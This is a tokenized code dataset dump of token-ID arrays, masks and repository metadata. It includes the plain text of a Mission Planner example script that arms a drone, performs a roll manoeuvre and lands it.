291, 14, 1855, 8, 17143, 63, 4763, 14, 3364, 12526, 547, 304, 489, 25811, 63, 4763, 14, 1074, 63, 3118, 63, 4133, 8, 3543, 29, 549, 9, 819, 347, 511, 63, 1074, 63, 3118, 63, 4133, 63, 4087, 63, 3846, 8, 277, 304, 272, 25811, 63, 4763, 275, 291, 14, 51, 4400, 13956, 8, 22188, 63, 5335, 63, 3603, 2968, 455, 89, 1105, 272, 25811, 63, 4763, 14, 17143, 14, 4909, 281, 63, 633, 275, 283, 2859, 921, 455, 89, 7, 272, 543, 291, 14, 1855, 8, 17143, 63, 4763, 14, 3364, 6713, 547, 304, 489, 25811, 63, 4763, 14, 1074, 63, 3118, 63, 4133, 8, 3543, 29, 549, 9, 819, 347, 511, 63, 1074, 63, 3118, 63, 4133, 63, 8799, 8, 277, 304, 272, 25811, 63, 4763, 275, 291, 14, 51, 4400, 13956, 342, 272, 25811, 63, 4763, 14, 17143, 14, 2489, 63, 1725, 14, 1107, 63, 585, 275, 788, 8799, 15, 493, 418, 272, 543, 291, 14, 1855, 8, 17143, 63, 4763, 14, 29413, 21058, 547, 304, 489, 25811, 63, 4763, 14, 1074, 63, 3118, 63, 4133, 8, 3543, 29, 549, 9, 819, 347, 511, 63, 4579, 422, 8, 277, 304, 272, 16198, 422, 14, 1122, 360, 13261, 358, 272, 16198, 422, 14, 1122, 360, 65, 63, 66, 13, 67, 14, 17, 14, 18, 358, 272, 16198, 422, 14, 1122, 360, 65, 358, 272, 16198, 422, 14, 1122, 360, 17, 358, 272, 16198, 422, 14, 1122, 360, 17, 14, 18, 358, 339, 327, 6855, 1133, 1336, 26298, 422, 272, 543, 291, 14, 1855, 8, 3393, 304, 489, 16198, 422, 14, 1122, 360, 17, 14, 18 ]
[ 2803, 29, 1624, 13, 24, 199, 3, 1898, 6900, 510, 2285, 2199, 8417, 334, 3239, 6483, 14, 1064, 680, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 3239, 5113, 680, 199, 199, 504, 636, 2443, 363, 492, 334, 6116, 63, 646, 12, 4629, 12, 16952, 12, 6032, 63, 14129, 12, 870, 63, 1593, 12, 717, 2649, 63, 5955, 12, 543, 63, 6242, 9, 199, 199, 646, 2882, 199, 199, 646, 1683, 199, 199, 504, 18081, 14, 1765, 14, 17143, 63, 4763, 63, 20406, 492, 16198, 422, 12, 428, 4400, 13956, 4256, 421, 199, 533, 428, 4400, 13956, 4256, 774, 8, 2796, 14, 1746, 304, 523, 1021, 428, 4400, 13956, 8, 51, 4400, 13956, 4256, 304, 272, 347, 636, 826, 721, 277, 12, 18152, 63, 5335, 63, 16896, 29, 403, 12, 18152, 63, 5335, 63, 3603, 29, 403, 304, 489, 291, 423, 22188, 63, 5335, 63, 16896, 275, 18152, 63, 5335, 63, 16896, 489, 291, 423, 22188, 63, 5335, 63, 3603, 275, 18152, 63, 5335, 63, 3603, 489, 291, 423, 17143, 275, 1683, 14, 3346, 342, 489, 291, 423, 793, 275, 1683, 14, 11988, 342, 339, 768, 1829, 272, 347, 18152, 63, 5335, 63, 16896, 8, 277, 304, 489, 372, 291, 423, 22188, 63, 5335, 63, 16896, 339, 768, 1829, 272, 347, 18152, 63, 5335, 63, 3603, 8, 277, 304, 489, 372, 291, 423, 22188, 63, 5335, 63, 3603, 339, 768, 1829, 272, 347, 25811, 63, 5335, 63, 13143, 8, 277, 304, 489, 746, 4279, 342, 339, 768, 1829, 272, 347, 25811, 8, 277, 304, 489, 372, 291, 423, 17143, 339, 768, 1829, 272, 347, 943, 8, 277, 304, 489, 372, 291, 423, 793, 819, 347, 511, 63, 1074, 63, 3118, 63, 4133, 63, 10481, 63, 1065, 63, 4087, 63, 4694, 8, 277, 304, 272, 25811, 63, 4763, 275, 291, 14, 51, 4400, 13956, 8, 22188, 63, 5335, 63, 16896, 2968, 7913, 1105, 272, 25811, 63, 4763, 14, 17143, 14, 4694, 63, 354, 275, 283, 74, 5865, 7, 272, 25811, 63, 4763, 14, 1074, 63, 3118, 63, 4133, 8, 3543, 29, 797, 9, 819, 347, 511, 63, 1074, 63, 3118, 63, 4133, 63, 10481, 63, 1065, 63, 4087, 63, 3846, 8, 277, 304, 272, 25811, 63, 4763, 275, 291, 14, 51, 4400, 13956, 8, 22188, 63, 5335, 63, 3603, 2968, 455, 89, 1105, 272, 327, 16158, 26500, 1471, 506, 4903, 641, 314, 730, 3140, 402, 641, 314, 1256, 12, 1937, 26, 272, 327, 257, 1455, 921, 1544, 14, 1647, 2638, 14, 1308, 14, 3210, 15, 1548, 15, 1805, 15, 1805, 14, 1360, 3, 1805, 14, 3697, 3346, 272, 730, 8, 17143, 63, 4763, 14, 17143, 680, 1000, 63, 633, 275, 1683, 14, 3697, 3346, 8, 2441, 63, 5881, 29, 14844, 9, 272, 25811, 63, 4763, 14, 1074, 63, 3118, 63, 4133, 8, 3543, 29, 797, 9, 819, 347, 511, 63, 1074, 63, 3118, 63, 4133, 63, 10481, 63, 1065, 63, 1097, 1270, 8, 277, 304, 272, 25811, 63, 4763, 275, 291, 14, 51, 4400, 13956, 342, 272, 25811, 63, 4763, 14, 17143, 14, 2489, 63, 1725, 14, 2441, 63, 5881, 275, 9070, 272, 25811, 63, 4763, 14, 1074, 63, 3118, 63, 4133, 8, 3543, 29, 797, 9, 819, 347, 511, 63, 1074, 63, 3118, 63, 4133, 63, 3742, 63, 28751, 63, 4694, 8, 277, 304, 272, 25811, 63, 4763, 275, 291, 14, 51, 4400, 13956, 8, 22188, 63, 5335, 63, 16896, 2968, 7913, 297, 283, 9549, 369, 1105, 272, 25811, 63, 4763, 14, 17143, 14, 4694, 63, 354, 275, 283, 9549, 369, 7, 272, 25811, 63, 4763, 14, 17143, 14, 2489, 63, 1725, 14, 1107, 63, 585, 275, 942, 272, 25811, 63, 4763, 14, 1074, 63, 3118, 63, 4133, 8, 3543, 29, 549, 9, 819, 347, 511, 63, 1074, 63, 3118, 63, 4133, 63, 3742, 63, 28751, 63, 3846, 8, 277, 304, 272, 25811, 63, 4763, 275, 291, 14, 51, 4400, 13956, 8, 22188, 63, 5335, 63, 3603, 2968, 455, 89, 297, 283, 22980, 1105, 272, 25811, 63, 4763, 14, 17143, 14, 1000, 63, 633, 275, 283, 22980, 7, 272, 25811, 63, 4763, 14, 17143, 14, 2489, 63, 1725, 14, 1107, 63, 585, 275, 942, 272, 25811, 63, 4763, 14, 1074, 63, 3118, 63, 4133, 8, 3543, 29, 549, 9, 819, 347, 511, 63, 1074, 63, 3118, 63, 4133, 63, 4087, 63, 4694, 8, 277, 304, 272, 25811, 63, 4763, 275, 291, 14, 51, 4400, 13956, 8, 22188, 63, 5335, 63, 16896, 2968, 7913, 1105, 272, 25811, 63, 4763, 14, 17143, 14, 4694, 63, 354, 275, 283, 74, 5865, 7, 272, 543, 291, 14, 1855, 8, 17143, 63, 4763, 14, 3364, 12526, 547, 304, 489, 25811, 63, 4763, 14, 1074, 63, 3118, 63, 4133, 8, 3543, 29, 549, 9, 819, 347, 511, 63, 1074, 63, 3118, 63, 4133, 63, 4087, 63, 3846, 8, 277, 304, 272, 25811, 63, 4763, 275, 291, 14, 51, 4400, 13956, 8, 22188, 63, 5335, 63, 3603, 2968, 455, 89, 1105, 272, 25811, 63, 4763, 14, 17143, 14, 4909, 281, 63, 633, 275, 283, 2859, 921, 455, 89, 7, 272, 543, 291, 14, 1855, 8, 17143, 63, 4763, 14, 3364, 6713, 547, 304, 489, 25811, 63, 4763, 14, 1074, 63, 3118, 63, 4133, 8, 3543, 29, 549, 9, 819, 347, 511, 63, 1074, 63, 3118, 63, 4133, 63, 8799, 8, 277, 304, 272, 25811, 63, 4763, 275, 291, 14, 51, 4400, 13956, 342, 272, 25811, 63, 4763, 14, 17143, 14, 2489, 63, 1725, 14, 1107, 63, 585, 275, 788, 8799, 15, 493, 418, 272, 543, 291, 14, 1855, 8, 17143, 63, 4763, 14, 29413, 21058, 547, 304, 489, 25811, 63, 4763, 14, 1074, 63, 3118, 63, 4133, 8, 3543, 29, 549, 9, 819, 347, 511, 63, 4579, 422, 8, 277, 304, 272, 16198, 422, 14, 1122, 360, 13261, 358, 272, 16198, 422, 14, 1122, 360, 65, 63, 66, 13, 67, 14, 17, 14, 18, 358, 272, 16198, 422, 14, 1122, 360, 65, 358, 272, 16198, 422, 14, 1122, 360, 17, 358, 272, 16198, 422, 14, 1122, 360, 17, 14, 18, 358, 339, 327, 6855, 1133, 1336, 26298, 422, 272, 543, 291, 14, 1855, 8, 3393, 304, 489, 16198, 422, 14, 1122, 360, 17, 14, 18, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
DIYWRJ/MissionPlanner
Scripts/example1.py
57
1491
# cs.???? = currentstate, any variable on the status tab in the planner can be used. # Script = options are # Script.Sleep(ms) # Script.ChangeParam(name,value) # Script.GetParam(name) # Script.ChangeMode(mode) - same as displayed in mode setup screen 'AUTO' # Script.WaitFor(string,timeout) # Script.SendRC(channel,pwm,sendnow) # print 'Start Script' for chan in range(1,9): Script.SendRC(chan,1500,False) Script.SendRC(3,Script.GetParam('RC3_MIN'),True) Script.Sleep(5000) while cs.lat == 0: print 'Waiting for GPS' Script.Sleep(1000) print 'Got GPS' jo = 10 * 13 print jo Script.SendRC(3,1000,False) Script.SendRC(4,2000,True) cs.messages.Clear() Script.WaitFor('ARMING MOTORS',30000) Script.SendRC(4,1500,True) print 'Motors Armed!' Script.SendRC(3,1700,True) while cs.alt < 50: Script.Sleep(50) Script.SendRC(5,2000,True) # acro Script.SendRC(1,2000,False) # roll Script.SendRC(3,1370,True) # throttle while cs.roll > -45: # top hald 0 - 180 Script.Sleep(5) while cs.roll < -45: # -180 - -45 Script.Sleep(5) Script.SendRC(5,1500,False) # stabalise Script.SendRC(1,1500,True) # level roll Script.Sleep(2000) # 2 sec to stabalise Script.SendRC(3,1300,True) # throttle back to land thro = 1350 # will decend while cs.alt > 0.1: Script.Sleep(300) Script.SendRC(3,1000,False) Script.SendRC(4,1000,True) Script.WaitFor('DISARMING MOTORS',30000) Script.SendRC(4,1500,True) print 'Roll complete'
gpl-3.0
[ 172, 120, 124, 3, 7117, 14, 10674, 10674, 275, 1453, 929, 12, 1263, 1750, 641, 314, 2004, 5174, 315, 314, 1620, 5161, 883, 506, 1202, 14, 202, 199, 3, 14914, 275, 1511, 787, 20712, 199, 3, 14914, 14, 17306, 8, 706, 9, 202, 199, 3, 14914, 14, 4001, 4098, 8, 354, 12, 585, 9, 202, 199, 3, 14914, 14, 1002, 4098, 8, 354, 9, 202, 199, 3, 14914, 14, 4001, 1385, 8, 632, 9, 446, 2011, 465, 9080, 315, 818, 3272, 6426, 283, 13883, 7, 202, 199, 3, 14914, 14, 21433, 8, 875, 12, 2593, 9, 202, 199, 3, 14914, 14, 6795, 8205, 8, 2775, 12, 30425, 12, 2254, 2131, 9, 202, 199, 3, 221, 2999, 199, 1361, 283, 3162, 14914, 7, 202, 199, 509, 15985, 315, 1425, 8, 17, 12, 25, 304, 1128, 14914, 14, 6795, 8205, 8, 11984, 12, 27607, 12, 797, 9, 202, 199, 5229, 14, 6795, 8205, 8, 19, 12, 5229, 14, 1002, 4098, 360, 8205, 19, 63, 4896, 659, 549, 9, 2999, 199, 5229, 14, 17306, 8, 13128, 9, 202, 199, 6710, 7117, 14, 4452, 508, 378, 26, 1128, 870, 283, 19189, 367, 598, 5067, 7, 1128, 14914, 14, 17306, 8, 5279, 9, 202, 199, 1361, 283, 13662, 598, 5067, 7, 202, 199, 743, 275, 1616, 627, 4944, 202, 199, 1361, 5225, 202, 199, 5229, 14, 6795, 8205, 8, 19, 12, 5279, 12, 797, 9, 202, 199, 5229, 14, 6795, 8205, 8, 20, 12, 8269, 12, 549, 9, 202, 199, 1259, 14, 3431, 14, 9721, 342, 202, 199, 5229, 14, 21433, 360, 12482, 1206, 603, 1387, 4149, 297, 19, 993, 9, 202, 199, 5229, 14, 6795, 8205, 8, 20, 12, 27607, 12, 549, 9, 202, 199, 1361, 283, 45, 357, 1384, 1952, 3594, 11213, 2999, 199, 5229, 14, 6795, 8205, 8, 19, 12, 1196, 383, 12, 549, 9, 202, 199, 6710, 7117, 14, 4478, 665, 5238, 26, 1128, 14914, 14, 17306, 8, 1400, 9, 2999, 199, 5229, 14, 6795, 8205, 8, 21, 12, 8269, 12, 549, 9, 327, 1066, 293, 2999, 199, 5229, 14, 6795, 8205, 8, 17, 12, 8269, 12, 797, 9, 327, 11848, 202, 199, 5229, 14, 6795, 8205, 8, 19, 12, 969, 2760, 12, 549, 9, 327, 27048, 202, 199, 6710, 7117, 14, 2827, 690, 446, 2322, 26, 327, 2746, 22939, 68, 378, 446, 13576, 1128, 14914, 14, 17306, 8, 21, 9, 202, 199, 6710, 7117, 14, 2827, 665, 446, 2322, 26, 327, 446, 7663, 446, 446, 2322, 1128, 14914, 14, 17306, 8, 21, 9, 2999, 199, 5229, 14, 6795, 8205, 8, 21, 12, 27607, 12, 797, 9, 327, 410, 371, 279, 572, 202, 199, 5229, 14, 6795, 8205, 8, 17, 12, 27607, 12, 549, 9, 327, 2166, 11848, 202, 199, 5229, 14, 17306, 8, 8269, 9, 327, 499, 6513, 370, 410, 371, 279, 572, 202, 199, 5229, 14, 6795, 8205, 8, 19, 12, 969, 383, 12, 549, 9, 327, 27048, 1771, 370, 20078, 2999, 199, 273, 293, 275, 413, 13595, 327, 911, 9700, 500, 2999, 199, 6710, 7117, 14, 4478, 690, 378, 14, 17, 26, 1128, 14914, 14, 17306, 8, 5863, 9, 2999, 199, 5229, 14, 6795, 8205, 8, 19, 12, 5279, 12, 797, 9, 202, 199, 5229, 14, 6795, 8205, 8, 20, 12, 5279, 12, 549, 9, 202, 199, 5229, 14, 21433, 360, 6178, 12482, 1206, 603, 1387, 4149, 297, 19, 993, 9, 202, 199, 5229, 14, 6795, 8205, 8, 20, 12, 27607, 12, 549, 9, 2999, 199, 1361, 283, 24363, 4890, 7, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 120, 124, 3, 7117, 14, 10674, 10674, 275, 1453, 929, 12, 1263, 1750, 641, 314, 2004, 5174, 315, 314, 1620, 5161, 883, 506, 1202, 14, 202, 199, 3, 14914, 275, 1511, 787, 20712, 199, 3, 14914, 14, 17306, 8, 706, 9, 202, 199, 3, 14914, 14, 4001, 4098, 8, 354, 12, 585, 9, 202, 199, 3, 14914, 14, 1002, 4098, 8, 354, 9, 202, 199, 3, 14914, 14, 4001, 1385, 8, 632, 9, 446, 2011, 465, 9080, 315, 818, 3272, 6426, 283, 13883, 7, 202, 199, 3, 14914, 14, 21433, 8, 875, 12, 2593, 9, 202, 199, 3, 14914, 14, 6795, 8205, 8, 2775, 12, 30425, 12, 2254, 2131, 9, 202, 199, 3, 221, 2999, 199, 1361, 283, 3162, 14914, 7, 202, 199, 509, 15985, 315, 1425, 8, 17, 12, 25, 304, 1128, 14914, 14, 6795, 8205, 8, 11984, 12, 27607, 12, 797, 9, 202, 199, 5229, 14, 6795, 8205, 8, 19, 12, 5229, 14, 1002, 4098, 360, 8205, 19, 63, 4896, 659, 549, 9, 2999, 199, 5229, 14, 17306, 8, 13128, 9, 202, 199, 6710, 7117, 14, 4452, 508, 378, 26, 1128, 870, 283, 19189, 367, 598, 5067, 7, 1128, 14914, 14, 17306, 8, 5279, 9, 202, 199, 1361, 283, 13662, 598, 5067, 7, 202, 199, 743, 275, 1616, 627, 4944, 202, 199, 1361, 5225, 202, 199, 5229, 14, 6795, 8205, 8, 19, 12, 5279, 12, 797, 9, 202, 199, 5229, 14, 6795, 8205, 8, 20, 12, 8269, 12, 549, 9, 202, 199, 1259, 14, 3431, 14, 9721, 342, 202, 199, 5229, 14, 21433, 360, 12482, 1206, 603, 1387, 4149, 297, 19, 993, 9, 202, 199, 5229, 14, 6795, 8205, 8, 20, 12, 27607, 12, 549, 9, 202, 199, 1361, 283, 45, 357, 1384, 1952, 3594, 11213, 2999, 199, 5229, 14, 6795, 8205, 8, 19, 12, 1196, 383, 12, 549, 9, 202, 199, 6710, 7117, 14, 4478, 665, 5238, 26, 1128, 14914, 14, 17306, 8, 1400, 9, 2999, 199, 5229, 14, 6795, 8205, 8, 21, 12, 8269, 12, 549, 9, 327, 1066, 293, 2999, 199, 5229, 14, 6795, 8205, 8, 17, 12, 8269, 12, 797, 9, 327, 11848, 202, 199, 5229, 14, 6795, 8205, 8, 19, 12, 969, 2760, 12, 549, 9, 327, 27048, 202, 199, 6710, 7117, 14, 2827, 690, 446, 2322, 26, 327, 2746, 22939, 68, 378, 446, 13576, 1128, 14914, 14, 17306, 8, 21, 9, 202, 199, 6710, 7117, 14, 2827, 665, 446, 2322, 26, 327, 446, 7663, 446, 446, 2322, 1128, 14914, 14, 17306, 8, 21, 9, 2999, 199, 5229, 14, 6795, 8205, 8, 21, 12, 27607, 12, 797, 9, 327, 410, 371, 279, 572, 202, 199, 5229, 14, 6795, 8205, 8, 17, 12, 27607, 12, 549, 9, 327, 2166, 11848, 202, 199, 5229, 14, 17306, 8, 8269, 9, 327, 499, 6513, 370, 410, 371, 279, 572, 202, 199, 5229, 14, 6795, 8205, 8, 19, 12, 969, 383, 12, 549, 9, 327, 27048, 1771, 370, 20078, 2999, 199, 273, 293, 275, 413, 13595, 327, 911, 9700, 500, 2999, 199, 6710, 7117, 14, 4478, 690, 378, 14, 17, 26, 1128, 14914, 14, 17306, 8, 5863, 9, 2999, 199, 5229, 14, 6795, 8205, 8, 19, 12, 5279, 12, 797, 9, 202, 199, 5229, 14, 6795, 8205, 8, 20, 12, 5279, 12, 549, 9, 202, 199, 5229, 14, 21433, 360, 6178, 12482, 1206, 603, 1387, 4149, 297, 19, 993, 9, 202, 199, 5229, 14, 6795, 8205, 8, 20, 12, 27607, 12, 549, 9, 2999, 199, 1361, 283, 24363, 4890, 7, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
isoriss123/namebench
nb_third_party/dns/rdtypes/nsbase.py
248
2995
